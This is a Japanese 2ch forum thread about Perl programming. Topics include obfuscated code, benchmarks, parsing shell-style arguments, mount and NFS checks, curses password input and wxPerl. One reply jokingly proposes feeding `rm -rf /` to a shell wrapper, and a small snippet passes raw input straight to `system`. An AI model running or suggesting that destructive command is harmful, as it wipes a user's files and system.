DLLを作り、それを C#, C++,JScriptから呼び出したり、逆にC#, C++のクラスライブラリを
Perlから簡単に利用できるようになるらしいな。（実際は知らんが）

use strict;;;foreach(ord(
pack(chr(++$*+$*+++$**$*.
$*),$=))+--$* .. ord(pack
(chr($*+$*+++$**$*.$*),$=
))+--$*+$*++-(($*-$***$*)
)+$*+++$***$*-$*---$**$*,
$***$***$**$*){push@_,$_}
;foreach($***$**$*+$*/$*,
$***$**$**$*+$**$*,$***$*
*$**$*+$*,$***$**$**$*+$*
*$*-$*/$*,$**$**$**$**$*-
$**$**$*+$*,$*-$*,$**$***
$**$*-$*-$*/$*,$**$***$**
$*-$*,$***$***$*+$**$*-$*
/$*,$**$**$*-$*/$*,$**$*,
$***$***$*+$*/$*,$**$**$*
*$**$*-$**$**$*+$*,$***$*
**$*-$*/$*,$**$*,$***$***
$*+$*/$*,$***$**$*+$*+$*/
$*,$***$**$**$**$*-$**$**
$*+$*,$***$**$*-$*/$*,$*-
$*,$*,$***$**$*+$*,$**$*,
$***$**$**$*+$*/$*){print
pack(chr$**$**$**$**$**$*
+$**$*+$*/$*-$*,$_[$_]);}

こんなことして遊んでいる方とかいますか？
いたら是非あなたの作品を見せてください。

プログラミングPerlの初版って赤色?
改訂(日本語)は青だよね?

ごめんなさい。
参考書スレッドがありました。
そっちにコピペします。

>>163
うーん、その手の話題はプログラム板とかのほうが食いつきがいいんでは？
回文プログラムとかトリッキーなプログラムとかのスレあるし。

cpan2 どうなっちゃってるのかな。
http://www.cpan2.org
http://www.cpan2.com

2chのdatとかの<>区切りのデータを切り分けるときって、
my ($name, $mail, $date, $contents) = split /<>/, $line;
ってやるよりも
$line =~ /(.*?)<>(.*?)<>(.*?)<>(.*?)/;
my ($name, $mail, $date, $contents) = ($1, $2, $3, $4);
ってやったほうが速いんですね。
見やすい、書きやすい以外のsplitを使う理由があれば教えてください。
また、もっと速い方法があるならばそちらも教えていただけませんか？

>168
嘘はいけません。
my ($name, $mail, $date, $contents) = split /<>/, $line;
こっちの方が圧倒的に早い。
データ量によっては、
my @data = split /<>/,$line;
の方が早い。
my は付けない方が早い。

ちなみにスレ違い。このような話題は初心者コーナーへ。

>>169
別に嘘を言いたかったわけではなくて、
use Benchmark;
my $line = "name<>mail<>date<>contents";
timethese(100000, {
foo => sub { my ($name, $mail, $date, $contents) = split /<>/, $line },
bar => sub { $line =~ /(.*?)<>(.*?)<>(.*?)<>(.*?)/;
my ($name, $mail, $date, $contents)= ($1, $2, $3, $4); }
});
ってやったときに、barの方が速いという結果が出たから質問したんですが・・・・
これは何故ですか？

あと、どこまでが初心者コーナー行きかの線引きがわかりません。
私としては、初心者コーナーはリファレンスを引けばわかるようなことを
やるところだと思っていたのですが。

>>168　>>170
use Benchmark;
my $line = "name<>mail<>date<>contents";
timethese(100000, {
bar => sub { my ($name, $mail, $date, $contents) = split /<>/, $line },
foo => sub { $line =~ /(.*?)<>(.*?)<>(.*?)<>(.*?)/;
my ($name, $mail, $date, $contents)= ($1, $2, $3, $4); }
});
ってやったときに、barの方が速いという結果が出るのですが、
何故だか分かりますか？(>>170 のfooとbarを入れ替えている)

>>初心者コーナーはリファレンスを引けばわかるようなこと
まさしく貴方は初心者コーナーへどうぞ。

foo => sub {
my ($name, $mail, $date, $contents) = split /<>/, $line
},

bar => sub {
$line =~ /(.*?)<>(.*?)<>(.*?)<>(.*?)/;
my ($name, $mail, $date, $contents)= ($1, $2, $3, $4)
}
#-----------------------#
Benchmark: timing 100000 iterations of bar, foo...
bar: 12 wallclock secs (10.19 usr + 0.00 sys = 10.19 CPU) @ 9817.40/s (n
=100000)
foo: 7 wallclock secs ( 5.93 usr + 0.00 sys = 5.93 CPU) @ 16866.25/s (
n=100000)

# なんの役に立つかは知らんけど、SelectSaverのopen版
# どうでっしゃろ。
package OpenSaver;

use strict;
use Carp;
use Symbol;

use constant SAVE_FH    => 0;
use constant ARG_FH    => 1;
use constant OPEN_MODE    => 2;

my $pkg = __PACKAGE__;
sub new{
    
    my $class = ref($_[0]) ? ref(shift) : shift;
    @_ or croak("$pkg: usage $pkg->new(opned-FileHandle, file[, mode]");

    my($fh, $file, $mode) = @_;

    $mode ||= do{ $file =~ s/^([+<>]+)//; $1 || '<'};
    my $self  = bless [
            gensym(),
            qualify_to_ref($fh, caller),
            _open_mode_string($mode)
        ], $class;

    open $self->[SAVE_FH], "$self->[OPEN_MODE]&" . fileno($fh) or croak("$pkg: open error:$!");
    open $self->[ARG_FH],  "$mode$file" or croak("$pkg: open error:$!");

    return $self;
}
sub DESTROY{
    my $self = shift;
    open $self->[ARG_FH], "$self->[OPEN_MODE]&" . fileno($self->[SAVE_FH]);
}

sub _open_mode_string {
    my ($mode) = @_;
    $mode =~ /^\+?(<|>>?)$/
      or $mode =~ s/^r(\+?)$/$1</
      or $mode =~ s/^w(\+?)$/$1>/
      or $mode =~ s/^a(\+?)$/$1>>/
      or croak "$pkg: bad open mode: $mode";
    return $mode;
}
1;
__END__
#usage
use OpenSaver;
{
my $opensaver = new OpenSaver(STDOUT, 'test.txt', 'w') or die $!;
print "This is test.txt\n";
}
print "This is display\n";

今過去ログ読み漁ってたんだけど>>10のって面白いね。
自分でも色んなコマンドもどき書いてるんだけど全然違います(-▽-;
モジュールの使い方とか参考になるなぁこれ、

正直、自分はPerl本に赤ラクダしか持ってないのであります。
それ故、オブジェクト指向的な書き方が未だに分からないのであります。
自分の書くコードはPerl4とPerl5がイビツに混じっているのであります。

逝ってよしでありますか？

>>175
日本のPerlを書く人(というかCGIを書くのにPerlを使ってるヒトか)の9割方(感覚値)がそんな感じだろうから気にしないでいいよ。
裾野が広いから色々在るのは当然。んでもそのままだと、恥ずかしい思いをすることも在るので Effective Perlや perldoc perlstylを一読することを激しくお勧め。

http://www.ascii.co.jp/books/detail/4-7561/4-7561-3057-7.html
http://www.kt.rim.or.jp/~kbk/perl5.005/perlstyle.html

PerlOSってどうなったんデシか？

いや流石にPerlでOSは…(ﾜﾗ
コンパイル可能（？）なPerl6でなら…誰かやるのかねぇ。

>>178
カーネルとPerl処理系のみで、システムは全てPerlで書くとか。
ダメかなぁ。知識０厨房でスマソ。
でもこれだったらスゴック小さい＆軽いOSができそうだけどなぁ。

>>179
軽くはないでしょう・・

>>177
http://www.perl.org/

>>176
ありがとうであります。
新しい書き方も取り入れて行こうと思う次第であります。

>>111
すみません、誤爆です。
逝ってきます。

>>183
すみません、誤爆の謝罪を誤爆してしまいました。
申し訳ない。

プロンプト表示して逐次処理するのってどうするんでしょうか
Cのgetchar みたいなんすけど、、ARGV??
つーかプリント文が流れて逝くだけだし、、、俺ってあほですか?

>>185
うん。

#!perl
use constant PROMPT => '（　´∀｀）>';
print PROMPT;
while (<>) {
　　　　chomp;
　　　　system $_;
　　　　print PROMPT;
}
__END__

ぐはあ、STDINだたのか　　(痴
逝って来ます　　　　アホだ。。。

File::statとかTime::localtimeとかFile::chdirみたいに
組み込み関数をかなり違う動作をする関数でオーバーライドするのってどうよ？

$s = new File::Stat('foo);
$t = new Time::Localtime(time);
$c = new ChdirSaver ('..');

などの方が読みやすく安全だと思うのだが。

>>188
同感。普通のコード書く時はそうですよね。
ただﾜﾝﾗｲﾅｰを書く時はオーバーライドしてくれた方が便利という背景もある。
@EXPORT じゃなくて @EXPORT_OK に書いてくれてれば良いのにね。

別にオーバーライドさせたくなければできますよ。
use File::Stat ();
@EXPORT に入ってるのはあくまで「デフォルト」でEXPORTするだけです。
空リストをuseに渡せばOK。
$st = File::stat($file);

>>190
そりゃそうだが、デフォルトでエクスポートするのが気に入らん、って事。
だからどうしたと言われりゃそれまでだが。

なるほど。
組み込み関数の名前をオーバーライドするってのは、
こんな使えない組み込み関数は捨てちまえ！俺のモジュール使え！という
モジュール作成者の自信をあらわすものだったりして。

TERM:capの使い方教えれ。

今コマンドみたいなのを色々書いてるんですが、入力の受け取りで困ってます

cp ./tmp/hoge './tmp/h u" g a' "./tmp/target'dir"
こう言う入力がSTDINから有ったとして、これを上手に

@argment = ('./tmp/hoge','./tmp/h u" g a','./tmp/target'dir');
つまりShellに与えた時の引数の解釈と同じ動作がしたいのです。

正規表現で削ってみたりと苦戦してみたのですが、引数の数は不定な事も
有って完全にShellと同じ動きをするのは不可能な気がしています。
今は1byteづつ積み上げて解釈するしかないのかなと思ってます。
参考になるソースなんかは無いでしょうか。出来ればperlなら感激なんですが
よろしくお願いします。

ちょっと説明が変ですね、perlshell.plを起動するとそこから
処理モードに入るんです、各コマンドのサブルーチンは大体出来ていて
例えば、
$./perlshell.pl cp ./tmp/hoge './tmp/h u" g a' "./tmp/target'dir"
こんな感じなら上手く行くのです(シェルが綺麗に@ARGVに収めてくれるので)
ところが$./perlshell.pl として起動して
perlshell$←入力待ち
cp ./tmp/hoge './tmp/h u" g a' "./tmp/target'dir"
とした時の<STDIN>からの入力の処理が出来ないのです。
ここに

>>194
もう少しマトモかつ具体的な例を頼む。

すいません、>196
つまりShellをエミュレートしたいのだと思います。
tcshから、./perlshell.pl　とタイプすると
perlshell$　こう言うプロンプトが出ます。
そこに
cp "dist1" "dist2" "dist3" "target"　と入力した時の
<STDIN>からの入力を上手に配列(上なら("dist1","dist2","dist3","target"))
に収めたいのです。
今bashのソースを拾ってきたのですが、何故か心が重いです･･･

それなら><|等の処理もした方が良くないか？
と思いつつ少し考えてみる。

とりあえず
http://www.din.or.jp/~ohzaki/perl.htm#Tag_Remove
でも読みながら考えていろ。

ありがとう御座います、>198
シェルのソース見てみたんですが、Cが殆ど読めないので良く分かりません
でした、ただそれらしきループが有ったんでやはり1byteづつ切り出してる
んだと思います。

取り合えずsubstrで1byteづつ切り出してるんですが、難しいです。
フラグだらけで訳が分からなくなってきた。
まずは ' の中では " が使える、" の中では ' が使える。
これを目指して頑張ってます。
パイプとリダイレクトはどうしようかなぁ、何か無理っぽいです。

$cmd = <SHIFT>;
print `$cmd`;
で

$ perlshell rm -rf /

じゃだめなの？

ダメだな。折れ力じゃ無理らしい(鬱
逝ってきます。
#!perl
my $command = q{cmd>foo.txt "double quote" '/single quote/' "cmd>foo.txt"};

print Dumper [parseline($command)];

sub parseline{
my $str = shift;
my $quoted_str = qr{(?:[^"' ]|"[^"]*"|'[^']*')*};
my $i = 0;
return grep{ $i++ % 2 }(split /($quoted_str)/o, $str);

}
__END__

こうしとけ。(笑)

$arg = q/Sakura "Moe" "\"puni\"" 'hanya-n'/;
@arg = split /\0/, `perl -e 'print join "\\0", \@ARGV' $arg`;
print "$_\n" foreach @arg;

ご丁寧にﾊﾞﾅｰまでモノクロにしてある(笑
でもあまり暗いのは好きじゃないですね。鬱になりそう。

>>194
psh (Perl Shell) っていうのがあるらしいんだが、参考にはなるか？

ttp://sourceforge.net/projects/psh/

わわ、JAPUさんまで、感謝です>みなさん
>>200　それはちょっと・・(笑

>>201
いえいえ、凄く参考になります。自分では何も思いつかないレベルなので

>>202
凄いトリックですね、こんなの絶対考えつかないです。
今回は、勉強がてらなるべくシステムを呼ばない前提なので、
最後の手段に保存させてもらいました。

>>204
大感謝です、これは凄い。
入れてみてビックリしました、完全にShellの動作をしてます
グロビングまで自前でやってる様です、きっとこの人は偏執狂だ(笑
同じ名前で情けないので dameshell に改名しました。
今、該当部分を探している所です。段々流れがつかめて来た気がします。
今日は寝るので、ある程度形になったらまた報告させてもらいます。

多謝です>みなさん

while( $arg ){
$arg =~ s/^\s*//;

if( $arg =~ /^"/ ){
if( $arg =~ s/^"((\\.|[^"])*)"// ){ push @args, &parse_meta( $1 ) }
else{ die "unmatched" }
}
elsif( $arg =~ /^'/ ){
if( $arg =~ s/^'([^']*)'// ){ push @args, $1 }
else{ die "unmatched" }
}
elsif( $arg =~ /^`/ ){
if( $arg =~ s/^`((\\.|[^`])*)`// ){ push @args, &parse_command( $1 ) }
else{ die "unmatched" }
}
elsif( $arg =~ s/^(\S+)// ){
push @args, &parse_meta( $1 );
}
else{
last;
}
}

うーん。この位なら正規表現一発で綺麗に書けそうだけど…
リダイレクトやパイプがないんじゃシェルとは…

んー shellと同じように分割したいなら標準モジュールの Text::ParseWords つかえば良いのに。

#!perl
use Text::ParseWords;
@args = shellwords($strings);
__END__

#**********************************
use strict;

&Main_block;
sub Main_block{
    my ($input,@output,$count);
    print "ひき数をいれてください\n";
    $input = <STDIN>;
    @output = &Parse_arg($input);
    $count = 0;
        foreach (@output){
            print '$ARGV'."[$count]\t$_\n";
            $count++;
        }
    exit;
}

#***** 引数を解釈して配列に入れる
sub Parse_arg{
    my ($input,$charnum,$char,$argpart,$count,$quot_flag,@out);
    $input = shift;
    chomp ($input);
    $charnum = length ($input);
        while ($count < $charnum){
            $char = substr ($input,$count,1);
            if (($char eq ' ')&&(!$quot_flag)){
                $char = '';
                    if ($argpart){push (@out,&Unquote($argpart))};
                $argpart = '';
            }
            elsif ((($char eq '\'')||($char eq '"'))&&(!$quot_flag)){
                $quot_flag = "$char";
            }
            elsif (($char eq $quot_flag)&&($quot_flag)){
                $quot_flag = '';
            }
            if ($count == (${charnum}-1)){
                $argpart .= $char;
                if (&Unquote($argpart)){push (@out,&Unquote($argpart));}
            }
            $argpart .= $char;
            $count++;
        }
    return (@out);
}
#***** クオートを取り去る
sub Unquote{
    $_ = shift;
    $_ =~ s/^\'([^\']*)\'$/$1/;
    $_ =~ s/^\"([^\"]*)\"$/$1/;
    return $_;
}
#**********************************

こんにちは、またまた有難うございます、勉強になります

>>206
いえいえ、**完全に**とか言ってしまいましたが、本当は
It's my dir と言うディレクトリを開けなかったのと不定な
引数の数に対応出来なかっただけなのです。 " の中では ' が
使える、逆もOK、"と' の中ではスペースが使える、区切り文字の
スペースは幾つでも良い。これ位が目標だったので
リダイレクトは本物の動作がよく理解出来てない厨房っぷりなので
今後の課題にしようと思います。

>>207
知らなかったです、>>204さんに教えて頂いたpshもそうでしたが
細かく機能別のサブルーチンに分けて、そこに投げて行くんですね。
今、sub parse_lineとにらめっこしてます。実は、モジュールはrootに
有るの位しか使った事が無いのです(汗)

恥かしいコードですが結果、上の様になりました。
本物のふるまいが理解出来てないので今一つですが、
一応目的は達しました。ループしてるのは効率的じゃないかも、、
まだ比較演算子の優劣が分からないのでカッコだらけですが
ご勘弁ください、変な所有ったら指摘してもらえたら嬉しいです。
ありがとうございました>みなさん。 ホント勉強になる！
この板は2chじゃないですよね　笑)

プライオリティも解らんのにこんなの書けるのかよ（´Д｀；）

あるファイルシステムがマウントされているかどうかをPerlから知るにはどうすればいいのかね？
それと、実行されている環境のバイトオーダーを知る方法は?

知ってる人はココに書きなさいね。

#!/usr/bin/perl -w

use Inline C;

our @filesystems = ("/dev/sda1", "/dev/fd0", "/dev/cdrom");

foreach my $fs (@filesystems){
    print "$fs: ", is_mounted($fs) ? "mounted\n" : "not mounted\n";
}

__END__
__C__
#include <mntent.h>

#define TABLE_FILE "/etc/mtab"

int is_mounted(char *fsname)
{
    FILE *fp;
    struct mntent *ent;

    if((fp = setmntent(TABLE_FILE, "r")) == NULL)
        return -1; /* error */

     while((ent = getmntent(fp)) != NULL){
        if( !strcmp(ent->mnt_fsname, fsname) )
             return 1; /* found */
     }

    endmntent(fp);
    return 0; /* not found */
}

#!/usr/bin/perl

use Inline C;

sub is_little_endian2()
{
    return pack("I", 1) eq pack("V", 1);
}

sub is_little_endian3()
{
    return vec(pack("I", 1), 0, 1);
}

__END__
__C__

int is_little_endian1()
{
    union {
        int val;
        char byte[sizeof(int)];
    } u;
    u.val = 1;
    return u.byte[0] == 1;
}

-eでいいんじゃねーの？

unpack('s', pack('n',1));
戻り値で判断

せっかくなのでInlineモジュール使ってみました。

#このスレッドに書き込むのも久しぶりな気がする...。
#いつの間にか書き込み200を越えていて嬉しひ。

NFSかどうかを知るにはどうすればいいんですか？
flockが使えないなら、自動的に他のロックを使いたいのです。

>>217
/etc/mtabの中をみて、マウントタイプ判断すればいいんじゃない？
うちの環境になぜか入っていた Quota モジュールを使う手も。

use Quota;
print is_nfs(/home2/john/path) ? 'Danger!' : 'Safe';

sub is_nfs {
　　my $path = shift;
　　my $is_nfs = 0;
　　Quota::setmntent();
　　while (my @mntent=Quota::getmntent()) {
　　　　if( $path ~= /^$mntent[1]/ and $mntent[2] eq 'nfs'){
　　　　　　$is_nfs = 1;
　　　　　　last;
　　　　}
　　}
　　Quota::endmntent();
　　return $is_nfs;
}

flockが使えないファイルシステムは他にもあるでしょうから、
もっと調べないとダメだと思いますけどね。
CfgTie::TieMTab っていうモジュール使うと便利かも。

あ、is_nfs('/home2/john/path') ね、言うまでもないけど。

お、Quotaという便利なモジュールがあるんですね。勉強になります。

ちなみに、マウントされたファイルシステムのタイプ(nfs, ext2, msdos, etc...)を取得するには
mntent構造体のmnt_typeメンバを調べるだけでおっけいです。

--> getmntent(3), fstab(5)
#213のは、見つかった場合endmntent(FILE *)を呼ぶのを忘れてる...。

>>217 eval使って返値でチェックしたら？

NFSでも、flockは成功するにょ。
ただ、NFS だとうまくロック出来ない場合がある... らしい。

# 何種類佳乃組合わせでためしたけど、全部成功したので "らしい" としか...

みなさんどうも。

eval { flock(STDIN) };
if ($@) {
　# my_flock
}
elsif (is_nfs("mypath/mylockfile") {
　# my_flock
}
else {
　# flock
}

てな具合でいきたいと思います。

>>222
># 何種類佳乃組合わせでためしたけど、全部成功したので "らしい" としか...
成功したっていうのは吐いた制御がちゃんとできているってことですか？
# 自分も実験できる環境がないので "らしい" でしかないんですよね。

flock(STDIN)は常にdieすると思うのだがどうかな？

218の is_nfs に相対パスを渡しても、うまくいかないと思う。

あたりまえ。

すまん。マジ誤爆。

>>222
美凪組み合わせだとどうですか？

修行のためCPANのLock関連のモジュールあさってたけど、
NFSの自動判別とかしないでユーザに指定させるか、
flockは完全に無視して独自ロックだけをつかう方法が多かった
前者がLockFile::Simple、後者がFile::FlockDir、File::NFSLock

厨房は厨房らしく自動判別はやめて、ぬるく逝こうと思う。

ここにはすごそうな人が多そうなのでここで聞きます。
ページを見ている人のパソコンのCD-ROMを排出させる方法をCGIでやるやり方を教えてください！！！！
ネットを探しまわったのですが見つかりませんでした。

>>230
そいつの家まで逝って、手動で開けてやれ。

>>230
いやはや迷惑な話で...。

真面目な話、PerlからCD-ROMをイジェクトさせるには(Linuxの場合)
まず/dev/cdromをアンマウントし、(面倒くさければsystem("umount /mnt/cdrom")とか。)
<linux/cdrom.h>で定義されているCDROMEJECTをioctl(2)に渡してやれば良い。

use Fcntl;
require 'linux/cdrom.ph';
sysopen(CDROM, "/dev/cdrom", O_RDONLY|O_NONBLOCK);
$status = ioctl(CDROM, CDROMEJECT);

のような感じ。（無論、これでは動かないが）

#'linux/cdrom.ph'は<linux/cdrom.h>をh2phで変換

/dev/audioサウンドデバイスにmu-Lawで書き出して音を鳴らすとか、Perlで無茶をすることは十分可能だろうけど、実験する時間がないなあ。

全然分かりません！！！！！
教えてください！！！！！

優しい方DOSプロンプトの使い方も教えてください！！！

CGIじゃ出来ません！！！！！！
Activeでも勉強して下さい！！！！！
ついでに首括って芯で下さい！！！！！！！！！！

Activeって何ですか！！！！

帰ってくるまでに教えてくださいね。
よろしくお願いします！！！

http://www.microsoft.com/japan/developer/VSTUDIO/download/sp/full.htm
これを全部落してインストールする
↓
リモートデバイスマネージャ(RDM)のヘルプを良く読む
↓
RDMサンプルスクリプトが付いてるからそれを試してみる
↓
(ﾟДﾟ)ｳﾏｰ

馬鹿の相手するなよ・・・。

というわけで話題提供でもしてみる。

誰かXML::RSS使ってる人いますかね？
自分のサイトでRSS使って更新情報吐き出そうと思っているのですが。
使い方教えれってんじゃないよ（ｗ

Perlとcurses使った簡単なキャラクタベースのプログラム作ってるけど、
窓のサイズを途中で変更されると表示が変になったり、全く何も描画されなくなったり。
そこで質問なのだが、窓のサイズが変更されたことを知るにはどうすればいい？

なるべく、変更されてすぐがいいな...。

>>243-244
UNIX BSD4.3,SVR4から追加されたシグナルSIGWINCHを使えばいい。
端末サイズの変更の際にカーネルから送られてくるから、適切なハンドラでもって応えてやればいい。（デフォルトでは'IGNORE'になっている）

sfioおすすめ。
http://www.research.att.com/sw/tools/sfio/

>>245
Thanks!

ディレクトリ内のすべてのファイル中の\r\nを\nにしたくて

#!/bin/sh
OLD=$1
NEW=$2
shift ; shift
for file in $*
do
sed "s/$OLD/$NEW/g ${file} > ${file}.tmp
mv ${file}.tmp ${file}
done

をhage.shとして
$ ./hage.sh \r\n \n *
を実行したのですが、\r\nのままです。どこが変なのでしょうか？

なぜPerlスレにこんな話題が出るのか分からない。
>>248いい子だからUNIX板に池。

しかられたので少し訂正します

#!/bin/sh
OLD=$1
NEW=$2
shift ; shift
for file in $*
do
perl -pe "s/$OLD/$NEW/g" ${file} > ${file}.tmp
mv ${file}.tmp ${file}
done

をhage.shとして
$ ./hage.sh \r\n \n *
を実行したのですが、\r\nのままです。どこが変なのでしょうか？

これならここでいいでしょ？

何故
perl -i.bak -pe s/\r\n/\n/ *
ではイカンのか。

\r\n \n -> \\r\\n \\n

>>250
echo "\r\n"

>>252

XML::RSSはXMLスレに書いたほうが良かったかね。

>>255
ｵﾚ使ってるよ。とか言ったとしてどうなるのよ？

>>256
そこから話が盛り上がる可能性に期待して、とか？

C++で書かれたGUIツールキットwxWindowsのPerlインターフェイスがリリースされていますね。
http://www.perl.com/pub/a/2001/09/12/wxtutorial1.html

wxWindows
http://www.wxwindows.org/

wxWindows-Perl
http://wxperl.sourceforge.net/

これカキコしてる奴誰だよ！↓
http://members.tripod.co.jp/bingo852/

手元のVineLinux2.1.5に wxWindows 2.2.7 for GTK+と Wx-Perlをsource rpmからビルドしてインストールし、幾つかテストスクリプトを走らせてみましたが、特に問題なく快適に動いてますね。
また、特に何も手を加えずに日本語の表示も可能ですね。

Windows用バイナリPPMパッケージも用意されていますから、Windows環境でActivePerlを利用している人も簡単にインストールできると思うので試して欲しいなあ、と思ふ。（wxWindowsを入れる必要があるかも。）

------
wxGTKWindows
    http://prdownloads.sourceforge.net/wxwindows/wxGTK-2.2.7-0.src.rpm

wxWindows-Perl
    http://prdownloads.sourceforge.net/wxperl/perl-Wx-0.07-1.src.rpm
------
wxWindows for MS Windows
    http://www.wxwindows.org/dl_msw2.htm

    wxPerl for ActivePerlhttp://prdownloads.sourceforge.net/wxperl/Wx-0.07-win32.zip

すいません、コマンドラインで<STDIN>時に「キーボードから入力する文字数」を制限するのは、
どうすれば良いのでしょう？

（例えば、コマンドラインで、パスワードを入力するときに、８文字なら８文字と決まっていて、
９文字目は入力しても、画面には表示されない。）

OS非依存が良いのですが、依存せざるを得ないのであれば、Win依存でお願いします。
（キーが押されたってことを検出できれば、それをループでまわせるとは思うんですが、
　C言語のgetche や kbhitに相当するPerl関数がわからないんです。。とほほ。。。。）

厨な質問ですみません。（板違いなら、さらにごめんなさい）

>>260
以前、Windows ActivePerl に入れてみたら日本語が表示できなくて
いろいろ情報探したら、「マルチバイトに対応する予定はない」って
いうMLの記事を見つけたんであきらめたんですけど、表示できるのかぁ。
またちょっと試してみようかな。

>>261
ないんじゃないか?
俺が知らないだけかも。
でもgetcheもkbhitもDOSやWindowsプラットホーム固有の関数だから
マルチプラットホームなPerlには実装されてないんじゃないかと思われ

Windows2000,Perl6を使用。

<STDIN>を使ってコマンドプロトコルから
入力した値をスカラー変数代入する処理で
プロトコルからの入力で、
何バイトまでしか入力ができない・・
っという風にしたいのですが、可能なのでしょうか？

もし可能であれば教えて頂きたいのですが。

>>261

1.Term::ReadKeyモジュールのReadKey()関数を利用する。
2.Cursesライブラリのgetnstr()を使って入力文字数を制限するか、
またはgetch()で必要なだけ読み込む。
の二つの方法があります。例を挙げるなら、

---readkey.pl----

#!/usr/bin/perl -w

use strict;
use Term::ReadKey;
use constant PASSWD_MAX => 8;

ReadMode 4;

our $input = "";

foreach(1..PASSWD_MAX){
my $ch;
1 while (!defined($ch = ReadKey(-1)));
last if $ch eq "\n";
$input .= $ch;
}

ReadMode 0;

print "your password is $input\n";

お、インデントが...。
--- curses.pl ----

#!/usr/bin/perl -w

use strict;
use Curses;
use constant TRUE => 1 == 1;
use constant FALSE => !TRUE;
use constant MAX_PASSWD => 8;

sub app_init()
{
     initscr();
     keypad(stdscr, TRUE);
     cbreak();
     noecho();
}

sub app_exit()
{
     echo();
     nocbreak();
     keypad(stdscr, FALSE);
     endwin();
     exit(0);
}

sub read_passwd2()
{
     my $input = "";

     getnstr($input, MAX_PASSWD);
     printw "your password is $input\n";
     refresh();
}

sub read_passwd()
{
     my $count = 0;
     my $ch = "";
     my $input = "";

     while (($ch = getch()) ne "\n") {
     last if ++$count >= MAX_PASSWD;
     $input .= $ch;
     }
     printw "your password is $input\n"; # 確認。
     refresh();
}

#main

BEGIN{ app_init() }
END{ app_exit() }

read_passwd(); #read_passwd2();

sleep(2); # 確かめる暇もなく終わらないように。

>>264
ありゃりゃ。とんだ無駄足だったな。

いや、俺はROMだけど
良いモジュールの紹介あんがと>>_gunzip
コマンドプロトルコｲｲ（・∀・）！

>>262
まだサンプルをいじって遊んでいる程度ですが、Perl/Tk, GTK-Perlで書いたものより軽快でなかなか気に入っています。

また、ラベル、テキスト、リストボックス等の日本語表示、
kinput2経由での日本語入力についても問題ありません。
自分としては、結構使えそうだ..という感触を持っています。

もし暇があればWindows上ではどうなのか試して欲しいですー。
#今Windowsパーティションが逝っているので試せない...。
>>269
どうもです。Curses使うならCurses::Form, Curses::Widget,Cdkも入れておくと、驚くほどいろんなことができますよー。
（ついてくるサンプルをいじるだけでもいろいろ楽しめるはず）
今は亡き啓学出版からCurses本(for C)も出てますし。

>>270
漏れもROMだが、勉強になった。Thanx

>>265-267
_gunzipさん、ありがとうございます。
（_gunzipさんの投稿は良くROMさせてもらっています。大変勉強になります）

264 の方は、もしかしたら私のところに質問投稿された方かも。。。
（Windows2000 Perl6っていう「印象的な」環境が同一なので。。。）

ありがとうございました。

ファイルテスト演算子ですが、あるディレクトリが存在することを確かめるには -d "directory name"と書くのと、-e "directory name" and -d "directory name" のどちらがいいですか！
あと、Perlの-Tは信頼性が低いというのは本当ですか！！
教えて下さい！！！

どっちでも委員じゃないですか！opendirとかでもｲｲ鴨！
>本当ですか！！ ←ハイ！！！
僕も厨房なんです！ｺﾞﾒﾝﾅｻｲ！！！

ファイルテスト演算子の -T のことかな?
Shift_JIS とか EUC-JP で書かれていると判定に失敗することも多いです。あまり当てにしない方がよいかも。

tieの使い方を勉強してたらバグ（？）発見！

package AutoCount;
sub TIESCALAR { my $val = 0; bless \$val; }
sub FETCH { ${$_[0]}++; }

tie my $foo, 'AutoCount';
tie my $bar, 'AutoCount';
foreach (1..3) { print "$foo, $bar\n"; } # ←× $foo が２ずつ増加
foreach (1..3) { print " $foo, $bar\n"; } # ←○ 正常

「読み込むたびに1ずつ増える変数」を作ったつもりなんだけど、
その変数がダブルクォート文字列の先頭にあると、
なぜか２回評価されてしまうよー。文字列の先頭以外なら大丈夫。

使ってるバージョンは
This is perl, v5.6.1 built for MSWin32-x86-multi-thread
です。

>>276
v5.6.0 built for i686-linux
version 5.005_03 built for i386-linux
では再現しませんでした。
v5.6.1 built for MSWin32-x86-multi-thread (ActivePerl build628)
で再現。

ボイスチャットのようなものを作りたいと思っているのですが、
恐らく探し方が悪いのだとは思いますが、cpanで探しても、
良さそうなモジュールが見つかりませんでした。

・チャットサーバー
・チャットクライアント
の両方を作りたいと思っています。
マイクから音声を入力して、
サーバーを通してクライアントソフトを立ち上げている方々に
リアルタイムで音声を送れるようなものです。

・マイクからの入力を受け取る方法。
・音声をネットを通して送信する方法。
・受け取った音声を再生する方法。
などが知りたいです。

どなたか上記の事を出来る方法やモジュールなどを教えてください。

>>277
検証どもども。うちは同じWin版のver5.6.1のbuild626でした。
ActivePerlのバグか、5.6.0=>5.6.1でエンバグしたか。

さっきActiveState.comのサイトにいって
バグレポート出そうかと思ったんだけど、このバグが既知かどうか
確認できなかった。英語に弱いのよね俺。。。

>>280
既知か否かは知らないけど、ActivePerl固有の問題ではなくて5.6.1全般の問題みたいよ。
Solaris2.6でmakeした5.6.1でも同じ挙動

Perl5.7.2(開発バージョン)では正常に動作しますよい。

>273を見て思い出したけれど、ファイルテスト演算子のうち、
stat(2)を内部で利用するものは三種類の値を返します。

PL_sv_yes ("1"\0): テストが成功の場合
PL_sv_no (""\0): テストが失敗の場合
PL_sv_undef(SV): stat(2)システムコールがエラー(-1)を返した場合

ですから、
-------ftest.pl----------
#!/usr/bin/perl

use strict;

test(q| -d "/etc/passwd" |);
test(q| -d "/etc/file_not_exists" |);
test(q| -d "/usr/local" |);

sub test
{
    my $test = shift;
     my $result = eval $test;

     if($result){
         print "$test: true\n";
     }elsif(defined($result)){
         print "$test: false, but defined\n";
     }else{
         print "$test: false, not defined\n";
     }
}

結果は、
-d "/etc/passwd" : false, but defined
-d "/etc/file_not_exists" : false, not defined
-d "/usr/local" : true
となります。(....まあ、細かい話だけど)
>>273
>Perlの-Tは信頼性が低いというのは本当ですか！！
ファイルテスト-Tは、指定されたファイルから最大512バイト読み込み、制御文字などの出現数をカウントし、それらが全体の1/3にとどまっていればテキストファイルと判断します。
ですから、日本語のファイルに対して誤判定することは十分あり得ます。（utf8は考慮するようですが）

age

>>284
日本語ファイル食わせるときには、euc-jpにしておいたら
いいのでは?

>>286
EUC-JPのファイルはたいていバイナリと判定されたぞ。経験上。
JISコード（iso-2022-jp)のほうがテキストと判定されやすいような。

WASPにとっては2バイト文字なんてバイナリと一緒だからそれで良いのです　（泣

>>283
そゆのって、どこに載ってるの？

最初の512バイトを見て
* MSBが立っている (文字コードが 0x80 以上) バイト数
* 文字コードが 0x20 未満 かつ "\r\n\b\t\f\e" 以外
の合計文字数が全体の 1/3 を越えたらバイナリと判定されますにゃ。
